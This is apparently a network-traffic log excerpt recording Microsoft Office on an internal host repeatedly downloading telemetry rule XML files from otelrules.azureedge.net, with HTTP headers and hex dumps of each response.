2024-10-05 12:34:10 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	57492	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:10 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:10 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 03c3f781-101e-000b-56fe-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123410Z-1657d5bbd48xdq5dkwwugdpzr000000000qg00000000n4d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	57494	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:10 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:10 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:10 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 7afec1f8-601e-000d-328c-152618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123410Z-15767c5fc55d6fcl6x6bw8cpdc0000000dwg00000000ev37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:10 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	57495	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:10 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:10 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:10 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: a9a45936-c01e-00a1-54f1-167e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123410Z-1657d5bbd48cpbzgkvtewk0wu000000000g0000000004pnc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:10 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	57496	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:10 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:10 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:10 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 4a217eb8-401e-00a3-218c-158b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123410Z-15767c5fc55qdcd62bsn50hd6s0000000dsg00000000k073 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:10 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	57498	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:11 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:11 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:11 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 6a90350a-301e-005d-348c-15e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123411Z-15767c5fc55qdcd62bsn50hd6s0000000dsg00000000k08g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:11 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	57497	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:11 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:11 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:11 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 173e0f62-801e-00a3-24fe-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123411Z-1657d5bbd48brl8we3nu8cxwgn00000000u000000000atm6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:11 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	57499	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:11 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:11 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:11 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 04600955-801e-00ac-55f4-16fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123411Z-1657d5bbd48p2j6x2quer0q02800000000q0000000009uyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:11 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	57500	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:11 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:11 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 4035d6e2-a01e-0002-4602-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123411Z-1657d5bbd48brl8we3nu8cxwgn00000000wg000000001s99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	57501	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:11 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:11 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 62f7f1ae-f01e-0096-4d0c-1710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123411Z-1657d5bbd48vhs7r2p1ky7cs5w00000000w0000000003xz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:11 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	57502	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:12 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:12 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 6ec2e3f4-801e-007b-208c-15e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123412Z-15767c5fc55qdcd62bsn50hd6s0000000dt000000000fwmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	57505	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:12 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:12 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:12 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: fbb49b00-e01e-00aa-4806-17ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123412Z-1657d5bbd48jwrqbupe3ktsx9w00000000s0000000004w8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
